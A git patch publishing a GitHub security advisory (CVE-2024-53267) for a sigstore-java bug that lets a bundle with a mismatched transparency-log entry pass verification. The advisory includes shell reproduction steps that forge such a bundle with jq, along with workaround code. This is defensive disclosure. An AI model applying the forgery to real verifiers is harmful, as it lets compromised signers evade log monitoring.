From 3a93317ed0ef18220e818a2cf91695bb16262f42 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 26 Nov 2024 16:40:16 +0000 Subject: [PATCH] Publish GHSA-q4xm-6fjc-5f6w --- .../GHSA-q4xm-6fjc-5f6w.json | 72 +++++++++++++++++++ 1 file changed, 72 insertions(+) create mode 100644 advisories/github-reviewed/2024/11/GHSA-q4xm-6fjc-5f6w/GHSA-q4xm-6fjc-5f6w.json diff --git a/advisories/github-reviewed/2024/11/GHSA-q4xm-6fjc-5f6w/GHSA-q4xm-6fjc-5f6w.json b/advisories/github-reviewed/2024/11/GHSA-q4xm-6fjc-5f6w/GHSA-q4xm-6fjc-5f6w.json new file mode 100644 index 00000000000..b2e8e0a1843 --- /dev/null +++ b/advisories/github-reviewed/2024/11/GHSA-q4xm-6fjc-5f6w/GHSA-q4xm-6fjc-5f6w.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-q4xm-6fjc-5f6w", + "modified": "2024-11-26T16:38:18Z", + "published": "2024-11-26T16:38:18Z", + "aliases": [ + "CVE-2024-53267" + ], + "summary": "sigstore-java has vulnerability with bundle verification", + "details": "### Summary\nsigstore-java has insufficient verification for a situation where a validly-signed but \"mismatched\" bundle is presented as proof of inclusion into a transparency log\n\n### Impact\n\nThis bug impacts clients using any variation of KeylessVerifier.verify()\n\nThe verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby \"verifying\" a bundle without any proof the signing event was logged.\n\nThis allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors.\n\nThe signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.\n\nsigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.\n\n### Steps To Reproduce\n\nBuild the java sigstore-cli at v1.0.0\n```shell\ngit clone --branch v1.0.0 git@github.com:sigstore/sigstore-java\ncd sigstore-java\n./gradlew :sigstore-cli:build\ntar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1\n```\n\nCreate two random blobs\n```shell\ndd bs=1 count=50 blob1\ndd bs=1 count=50 blob2\n```\n\nSign each blob using the cli\n```shell\n./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1\n./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2\n```\n\nCreate a falsified bundle including the base64Signature and cert fields from blob1's bundle and the rekorBundle from blob2's bundle\n```shell\njq --slurpfile bundle2 blob2.sigstore.json '.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries' blob1.sigstore.json > invalidBundle.sigstore.json\n```\n\nFind the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.\n```shell\ncat invalidBundle.sigstore.json | jq -r '.verificationMaterial.tlogEntries[0].canonicalizedBody' | base64 -d | jq -r '.spec.data.hash.value'\n\nsha256sum blob1 blob2\n```\n\nVerify the bundle against blob1\n```shell\n./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1\n# no errors???!\n```\n\n### Patches\nPatched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856\nAdded conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166\n\n### Workarounds\n1. Verifiers can recreate the log entry and compare it to the provided log entry.\n```\nvar bundle = Bundle.from(bundleFile, StandardCharsets.UTF);\nvar rekorEntry = bundle.getEntries().get(0)\nvar calculatedHashedRekord =\n Base64.toBase64String(\n HashedRekordRequest.newHashedRekordRequest(\n artifactDigest, Certificates.toPemBytes(leafCert), signature)\n .toJsonPayload()\n .getBytes(StandardCharsets.UTF_8));\nif (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {\n throw new Exception(\"Provided verification materials are inconsistent with log entry\");\n}\n```\n2. Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log\n```java\nvar bundle = Bundle.from(bundleFile, StandardCharsets.UTF);\nvar artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();\nvar sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();\nvar trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);\nvar entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());\nRekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);\n```\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "dev.sigstore:sigstore-java" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.0.0" + }, + { + "fixed": "1.1.0" + } + ] + } + ], + "versions": [ + "1.0.0" + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/sigstore/sigstore-java/security/advisories/GHSA-q4xm-6fjc-5f6w" + }, + { + "type": "WEB", + "url": "https://github.com/sigstore/sigstore-conformance/pull/166" + }, + { + "type": "WEB", + "url": "https://github.com/sigstore/sigstore-java/pull/856" + }, + { + "type": "PACKAGE", + "url": "https://github.com/sigstore/sigstore-java" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-345" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-11-26T16:38:18Z", + "nvd_published_at": null + } +} \ No newline at end of file